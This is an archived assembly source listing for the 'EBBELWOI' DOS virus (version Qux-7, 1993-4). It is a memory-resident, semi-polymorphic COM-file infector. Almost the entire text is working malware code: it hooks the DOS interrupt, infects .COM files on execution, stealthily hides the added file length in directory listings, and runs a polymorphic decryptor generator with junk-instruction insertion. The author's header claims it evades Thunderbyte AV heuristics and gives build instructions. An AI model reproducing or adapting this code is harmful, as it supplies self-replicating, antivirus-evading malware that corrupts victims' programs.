home *** CD-ROM | disk | FTP | other *** search
-
- COMMENT *
-
- EBBELWOI VIRUS / Subversion Qux-7 by Sirius
- --------------------------------------------------------------------
- Made in Germany, 1993-4
-
- It is an easy to understand Semi-polymorphic, memory resident
- parasitic COM-File-Infector utilizing simple filelength-stealth.
-
- This piece of replicating code could not be found by the heuristic
- algorithms of Thunderbyte AV. The version used was TbSCAN 6.09.
-
- For compilation please use Turbo Assembler (3.0) from Borland.
- *
-
-
-
- ofs equ offset
- v_len equ end_mark - encrypted_code
- enc_len equ (offset end_enc_code-offset encrypted_code)/2 + 1
-
- CODE SEGMENT
- ASSUME CS:CODE,DS:CODE,ES:CODE,SS:CODE
- ORG 100h
-
- sample: jmp start
-
- start:
- DB 0BEh ;1) = mov si, ofs_enc
- _ofs_enc DW ofs encrypted_code
-
- DB 0BAh ;2) = mov dx, enc_val
- _enc_val DW 0000
-
- CRYPT:
- DB 0B9h ;3) = mov cx,v_len
- _len_vir DW 0000
-
- n_loop:
- ;--------------------------------------------------
- xor [si],dx ;4) ; 4 bytes
- nop ;
- nop ;
- ;--------------------------------------------------
- ;--------------------------------------------------
- nop ;5) ;; 2 bytes
- nop ;; place 4 enc. key change
- ;--------------------------------------------------
- ;--------------------------------------------------
- inc si ;6) ; 3 bytes
- inc si ;
- nop ;
- ;--------------------------------------------------
- loop n_loop ;7) ; 2 bytes
- ;--------------------------------------------------
- nop_ret: ;
- NOP ; may be set to a RET (0c3h) ;8) ;
- ;--------------------------------------------------
-
- ;============================================================================
-
- encrypted_code:
-
- call s1 ; push ofs s1
- s1: pop bp
- sub bp,ofs s1
-
- mov ax,0FEFEh
- int 21h
- cmp si,01994h
- jz already_resident
-
- xor AX,AX
- mov DS,AX
-
- lds BX,ds:[4*21h] ; get int 21 handler
- mov word ptr cs:[bp+OLD_BX],BX
- mov word ptr cs:[bp+OLD_ES],DS
-
- mov bx,cs ; Get address of our memory
- dec bx ; block
- mov DS,BX ; decrease memory allocated
- sub WORD PTR ds:[0003h],150h ; to this program
- sub word ptr ds:[0012h],150h ; decrease avail. memory
-
- mov word ptr ax,ds:[0012h] ; by paragraphs (=10 bytes)
- mov es,ax ; es = our new segment
- push cs
- pop ds
-
- lea si,[bp+encrypted_code] ; copy virus-body w/o decryptor to TOM
- mov di,ofs encrypted_code ; ES:encrypted_code is destination -
- mov cx,v_len ; so the offsets in the interrupt
- repz movsb ; are equal to offsets in this
- ; sample file
- mov ds,cx ; cx=0
- cli ; set our handler
- MOV word ptr ds:[4*21h+2],AX
- MOV WORD PTR ds:[4*21h],offset new_21
- sti
-
- push cs
- pop ds
- push cs
- pop es
-
- already_resident:
- lea si,[bp+orig_bytes] ;restore first 3bytes of prog
- mov di,100h
- movsb
- movsw
-
- mov ax,100h
- push ax
- xor ax,ax
- ret
-
- ;============================================================================
-
- NEW_21:
- pushf
- cmp ax,4b00h
- jz function_to_hang
- cmp ah,11h
- jz dos_dir
- cmp ah,12h
- jz dos_dir
- cmp ax,0FEFEh
- jne false_function
- mov ax,0FE00h
- mov si,1994h
- popf
- iret
-
- false_function:
- go_int_popf:
- popf
- call_original_21:
- DB 0EAh ; FAR JUMP old_es:old_bx
- old_bx DW 1122h
- old_es DW 3344h
-
- dir_flag DB 00
-
- ;============================================================================
-
- dos_dir:
- DB 2Eh ; assume CS:
- cmp cs:dir_flag,1
- jz go_int_popf
-
- mov cs:dir_flag,1
- int 21h
- mov cs:dir_flag,0
-
- push ax
- push bx
- push dx
- push ds
- push es
- pushf
-
- or al,al ; not zero means no files found
- jnz no_files_found
-
- mov ah,51h
- int 21h
- mov es,bx
- cmp bx,es:16 ; equal is DOS
-
- jne no_files_found
-
- mov ah,2fh
- int 21h
-
- push es
- pop ds
-
- cmp byte ptr [bx],0ffh
- jnz n_FCB
- add bx,7
-
- n_FCB: mov al,byte ptr [bx+23]
-
- and al,00011111b
- cmp al,00000011b ;vegleichen auf sec.=6 (=3)
- jnz no_files_found
-
- sub word ptr [bx+29],(v_len+117) ; 117 is length of decryptor
- sbb word ptr [bx+31],0
-
- no_files_found:
- popf
- pop es
- pop ds
- pop dx
- pop bx
- pop ax
-
- exit: popf
- iret
-
- ;============================================================================
-
- function_to_hang:
- cld
- push ax ; Function EXECUTE:
- push bx ; DS:DX = @ of filename
- push cx
- push dx
- push si
- push di
- push ds
- push es
-
- push cs ; Move file-name to our buffer
- pop es
- mov di,offset name_buf
- mov si,dx
- mov cx,64 ; a path can be up to 64 chars long
- rep movsb
-
- push cs
- pop ds
-
- ;------------check if program executed is a .COM file------------------------
-
-
- mov si,offset name_buf
- orange: lodsb
- or al,al
- jnz orange
- cmp [si-3],'MO'
- jz apple
- jmp break_infection
-
- apple: cmp [si-6],'.D' ; dont infect command.com
- jnz continue_com
- jmp break_infection
-
- ;--------------------our write error int24 handler--------------------------
- new_int24:
- mov al,3 ;choose '(F)ail'
- iret
- ;============================================================================
-
- continue_COM:
- mov ax,4301h ; clear attributes
- mov dx,offset name_buf
- xor cx,cx
- int 21h
-
- mov ax,3d02h ;open file
- mov dx,offset name_buf
- int 21h
- jc done
- mov handle,ax ; save it for later turbulences
- xchg ax,bx
-
- push bx
-
- mov ah,2fh ; copy DTA to buffer
- int 21h ; @ of DTA = es:bx
- push es
- pop ds
- push cs
- pop es
- mov si,bx
- add si,15h ; only copy a part of DTA
- mov di,offset dta
- ; mov cx,5
- cld
- ; rep movsb
- movsb
- movsw
- movsw
-
- push cs
- pop ds
-
- pop bx
-
- push cs
- pop es
-
- mov ax,time
- and al,00011111b
- cmp al,00000011b ;vegleichen auf sec.=6 (=3)
- jnz infect
-
- done:
- mov ah,3eh ;close file
- int 21h
-
- break_infection:
- pop es
- pop ds
- pop di
- pop si
- pop dx
- pop cx
- pop bx
- pop ax
- jmp false_function
-
-
- infect:
- mov ah,3fh ;erste 3 byt d. zuinfiz.prog
- mov dx,offset orig_bytes ;sichern
- mov cx,3
- int 21h
-
- cmp word ptr offset orig_bytes-3,"MZ"
- jz done
- cmp word ptr offset orig_bytes-3,"ZM"
- jz done
- cmp word ptr offset orig_bytes-3,0E957h ; checks if L.COM
- jz done
-
- mov ax,4202h ;pointer to EOF
- xor cx,cx
- cwd
- int 21h
- mov fil_len,ax ; Länge der Opfer-Datei
-
- jc done
- cmp ax,3 ; file length check
- jb done
- cmp ax,50000
- jnb done
-
- sub ax,3
- mov word ptr addr_jmp_op+1,ax ;jmp - argument
- add ax,encrypted_code-start+103h
- mov word ptr [ofs_enc],ax
-
- push ds ; inits a random number for
- xor ax,ax ; procedure random from timer
- mov ds,ax
- mov ax,ds:[46ch]
- pop ds
- mov init_nr,ax
-
- ;============================================================================
-
- ;change decryptor-header with the polymorphic method
-
- ; calculate dx = enc_val
- mov ax,-2
- call random
- mov enc_val,ax
- call polymorphism
-
- ;============================================================================
-
- ;calculate and set si-argument
- mov ax,kilo
- sub ax,ofs enc_buffer
- add ax,fil_len
- add ax,100h
- mov si,ofs_mov_si
- mov [si+1],ax
-
- ;calculate and set cx-Argument
- mov ax,v_len
- mov si,ofs_crypt
- mov [si+1],ax
-
- ;calculate and set loop-Argument
- mov ax,kilo
- sub ax,ofs_n_loop
- not ax
- sub ax,2
- mov si,ofs_loop
- mov byte ptr [si+1],al
-
- ;copy virus-body to buffer
- mov si,offset encrypted_code
- mov di,kilo ; Ofs des nächsten freien Byte - direkt dem
- ; Decryptor folgend
- mov cx,v_len
- cld
- rep movsb
-
- ;encrypt virus-body-copy ( header wont get encrypted )
- mov si,kilo
- mov dx,enc_val
- mov di,kilo
- mov byte ptr [di-1], 0C3h ; = RET opcode
- mov ax,ofs_crypt
- push di
- call ax
- pop di
- mov byte ptr [di-1], 090h ; = NOP opcode
-
- mov dx,offset enc_buffer
- mov cx,v_len
- mov ax,[kilo]
- sub ax,dx
- add cx,ax
- mov bx,handle
- mov ah,40h ;copy encrypted virus to file
- int 21h
-
- jnc york
- jmp done
-
- york: mov ax,4200h ;bei al=2 ist schreiben ok !!
- xor cx,cx ;goto TOF
- cwd
- int 21h
-
- mov ah,40h ;write new 3 bytes
- mov cx,3
- mov dx,offset addr_jmp_op
- int 21h
-
- mov ax,5701h
- mov dx,date
- mov cx,time
- and cl,11100000b
- or cl,00000011b ;set 6 sec.!!!!!!!!
- int 21h
- jmp done
-
- ;============================================================================
-
- ;----------------+----------+---------+---------+---------+---------+---------+---------+---------+
- ; FIELD NR. | 1. | 2. | 3. | 4. | 5. | 6. | 7. | 8. |
- ;----------------+----------+---------+---------+---------+---------+---------+---------+---------+
- ; | | | | | | | | |
- ; Anfang des Feldes innerhalb der TAB_MUT
- TAB_OFS_ARR DW ofs arr_1, ofs arr_2,ofs arr_3,ofs arr_4,ofs arr_5,ofs arr_6,ofs arr_7, ofs arr_8
- ; | | | | | | | | |
- ; Länge des Feldes
- TAB_LEN_ARR DW 3, 3, 3, 4, 2, 3, 2, 1
- ; | | | | | | | | |
- ; Anzahl der verschiedenen Variationen des einen Feldes
- TAB_MUT_VAR DW 1, 1, 1, 4, 6, 3, 1, 1
- ; | | | | | | | | |
- ;----------------+----------+---------+---------+---------+---------+---------+---------+---------+
-
- ALL_ARRAYS equ 8 ; Field Sum
-
- tab_mut:
-
- arr_1: ;------------------------------------------
- DB 0BEh ; = mov si, ofs_enc
- ofs_enc DW 0000 ;ofs encrypted_code
-
-
- arr_2: ;------------------------------------------
- DB 0BAh ; = mov dx, enc_val
- enc_val DW 0000
-
-
- arr_3: ;---------------- 2 bytes -----------------
- DB 0B9h ; = mov cx,v_len
- len_vir DW 0000
-
-
- arr_4: ;--------------- 4 bytes ------------------
- ;-1-
- dec bp
- xor [si],dx
- inc ax
- ;-2-
- xchg ax,dx
- xor [si],ax
- xchg ax,dx
- ;-3-
- mov di,si
- xor [di],dx
- ;-4-
- mov bx,si
- xor [bx],dx
-
- arr_5: ;-------------- 2 bytes --------------------
- ;-1-
- inc dx
- dec ax
- ;-2-
- dec dx
- inc di
- ;-3-
- rol dx,1
- ;-4-
- ror dx,1
- ;-5-
- neg dx
- ;-6-
- not dx
-
- arr_6: ;------------ 3 bytes -----------------------
- ;-1-
- inc si
- inc si
- inc di
- ;-2-
- add si,2
- ;-3-
- sub si,-2
-
- arr_7: ;--------------------------------------------
- DB 0E2h ; = LOOP n_loop
- DB 00
- arr_8: ;---------------------------------------------
- nop
-
- ;============================================================================
-
- POLYMORPHISM proc near
- push ax bx cx dx si di bp ds es
- mov cx,all_arrays
- xor bx,bx
- mov kilo,ofs enc_buffer
- next_array:
- call GARB
- push cx
- mov si,[offset tab_ofs_arr+bx] ; offset innerhalb der TAB_MUT
- call var_random ; get one Variant
- mov dx,[offset tab_len_arr+bx] ; Länge einer Variante
- mul dx ; ax:=ax*dx
- add si,ax ; si=Anfang der gewählten Variante
-
- mov cx,[offset tab_len_arr+bx] ; Länge der Variante
- mov di, kilo ; Offset in der CRYPT-Routine
-
-
- pop ax ; cx auf dem Stack = Nr. des akt. Feldes
- cmp ax,all_arrays ; Speichere einige wichtige Konstanten
- jne oo1
- mov ofs_mov_si,di ; liefert immer den Beginn des Feldes
- jmp short oo0
- oo1: cmp ax,all_arrays-1
- jne oo2
- mov ofs_mov_dx,di
- jmp short oo0
- oo2: cmp ax,all_arrays-2
- jne oo3
- mov ofs_crypt,di
- jmp short oo0
- oo3: cmp ax,all_arrays-4
- jne oo4
- mov ofs_n_loop,di
- jmp short oo0
- oo4: cmp ax,all_arrays-6
- jne oo0
- mov ofs_loop,di
- oo0: push ax
-
- cld
- rep movsb
- mov kilo,di
-
- inc bx
- inc bx
- pop cx
- loop next_array
-
- pop es ds bp di si dx cx bx ax
- ret
- POLYMORPHISM endp
-
- VAR_RANDOM proc near
- push si ;---
- mov ax,[tab_mut_var+bx] ; Eine Zahl im Bereich der max. Varianten
- call random ; Anzahl wird erzeugt.
- pop si ;---
- ret
- VAR_RANDOM endp
-
- ;============================================================================
- ; gives you a random number: 0 >= number > AX
- ;============================================================================
- RANDOM proc near ; gives you a pseudo-random number in AX
- push bx dx
- inc cycle
- mov bx,init_nr
- push cx ;-----
- mov cl,cycle ; do more randomly
- ror bx,cl ;
- pop cx ;-----
- rcl bx,1
- rcl bx,1
- mov init_nr,bx
- mul bx
- xchg ax,dx ; AX = pseudo-random number
- pop dx bx
- ret
- cycle DB 0
- RANDOM endp
-
- GARB proc near ; behandelt einen Feld-Zwischenraum
- push ax cx dx si di
- mov cx,3 ; 4 is maximum due to a SHORT LOOP
- ;============================================================================
- ; behandelt eine Instruktion
- ;============================================================================
- garry:
- mov si,ofs codez
- other: mov ax,codez_number ; Anzahl der codez in der Tabelle
- call random
- cmp al,last_codez
- jz other
- mov last_codez,al
- add si,ax ; Adr. des zuf. codez's
- mov di,kilo
- movsb
- mov ax,-2
- call random
- stosw
- mov kilo,di ; aktualisiere cant
- loop garry
- pop di si dx cx ax
- ret
- GARB endp
-
- ;============================================================================
-
- last_codez DB 0
- codez:
- DB 0BFh ; mov di,xxxx
- DB 0BBh ; mov bx,xxxx
- DB 0BDh ; mov bp,xxxx
- DB 0A1h ; mov ax,[xxxx]
-
- DB 05h ; add ax,xxxx
- DB 2Dh ; sub ax,xxxx
- DB 3Dh ; cmp ax,xxxx
- DB 0Dh ; or ax,xxxx
- DB 25h ; and ax,xxxx
- DB 0A9h ; test ax,xxxx
- DB 15h ; adc ax,xxxx
- DB 1Dh ; sbb ax,xxxx
-
- codez_number equ $-codez
-
- orig_bytes db 90h,0CDh,20h
- addr_jmp_op db 0E9h,00,00
-
- DB "[EBBELWOI] Version QUX-7 3/94 Sirius",0
-
- end_enc_code equ $
- end_mark equ $
-
- ;============================================================================
- ; Variables
- ;============================================================================
- ofs_mov_si dw 0000
- ofs_mov_dx dw 0000
- ofs_crypt dw 0000
- ofs_n_loop dw 0000
- ofs_loop dw 0000
- fil_len dw 0000 ; Länge der Opfer-Datei
- ofs_crypt_buf dw 0000 ; Adresse der Crypt-Routine im Puffer
-
- init_nr dw 0000 ; will be init'd anyway
- int24_es dw 0000
- int24_bx dw 0000
- temp_time dw 0000
- temp_date dw 0000
- handle dw 0000
- kilo dw 0000 ; enthält den Offset, an den Instruktionen
- ; kopiert werden
- dta equ $
- attribs db 00
- time dw 0000
- date dw 0000
-
- name_buf db 0 ; here a 64 bytes buffer for path+filename
- enc_buffer equ $
-
- CODE ENDS
- END sample
-
-
-